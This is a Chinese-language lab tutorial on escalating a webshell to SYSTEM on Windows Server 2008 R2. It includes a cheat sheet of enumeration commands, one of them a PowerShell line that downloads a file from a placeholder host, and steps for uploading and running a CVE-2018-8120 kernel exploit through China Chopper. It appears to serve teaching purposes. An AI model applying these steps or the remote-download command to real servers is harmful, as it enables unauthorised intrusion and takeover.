一、描述
提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。
提权,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。
以下是Windows提权常用命令:
命令 |
描述 |
systeminfo |
打印系统信息 |
whoami |
获得当前用户名 |
whoami /priv |
当前帐户权限 |
ipconfig |
网络配置信息 |
ipconfig /displaydns |
显示DNS缓存 |
route print |
打印出路由表 |
arp -a |
打印arp表 |
hostname |
主机名 |
net user |
列出用户 |
net user UserName |
关于用户的信息 |
net use \SMBPATH Pa$$w0rd /u:UserName |
连接SMB |
net localgroup |
列出所有组 |
net localgroup GROUP |
关于指定组的信息 |
net view \127.0.0.1 |
会话打开到当前计算机 |
net session |
开放给其他机器 |
netsh firewall show config |
显示防火墙配置 |
DRIVERQUERY |
列出安装的驱动 |
tasklist /svc |
列出服务任务 |
net start |
列出启动的服务 |
dir /s foo
|
在目录中搜索包含指定字符的项目 |
dir /s foo == bar
|
同上 |
sc query |
列出所有服务 |
sc qc ServiceName |
找到指定服务的路径 |
shutdown /r /t 0 |
立即重启 |
type file.txt |
打印出内容 |
icacls “C:\Example” |
列出权限 |
wmic qfe get Caption,Description,HotFixID,InstalledOn |
列出已安装的布丁 |
(New-Object System.Net.WebClient).DownloadFile(“http://host/file”,”C:\LocalPath”) |
利用ps远程下载文件到本地 |
accesschk.exe -qwsu “Group” |
修改对象(尝试Everyone,Authenticated Users和/或Users) |
Windows中的权限划分:
-
User:普通用户权限
-
Administrator:管理员权限,可以利用Windows机制提升为System权限
-
System:系统权限
-
TrustedInstaller:删除系统文件所需要的权限
二、缓冲区溢出
缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。
更多参考:https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453#1
http://www.doc88.com/p-192105677527.html
三、实验环境
- 网站:Windows2008 R2 + PhpStudy2018 PHP-5.2.17
- 攻击机:Windows7
注意:使用PhpStudy搭建的网站在获取到webshell的权限默认为登陆用户权限,当前我们是administrator,这里我们利用内核提权将权限提升为system。
四、提权
在我们获取到webshell之后通过菜刀连接:
- 查看当前权限:whoami
- 查看系统信息:systeminfo > info.txt
1、查看系统信息
可以看到我们自己搭建的网站只打了两个系统补丁。
OS 名称: Microsoft Windows Server 2008 R2 Enterprise
系统类型: x64-based PC
[01]:KB2999226
[02]:KB976902
根据漏洞列表对比有哪些补丁没有打,对应os名称和系统类型进行提权:
漏洞列表:https://github.com/SecWiki/windows-kernel-exploits
- 先查看系统漏洞列表中与网站所对应的操作系统(2008 R2)
- 查看补丁编号 (CVE-2018-8120)前提是没有打这个补丁
- 找到与系统类型对应的exp (x64)
2、下载对应的exe程序
3、通过菜刀上传x64.exe
4、执行exp查看当前用户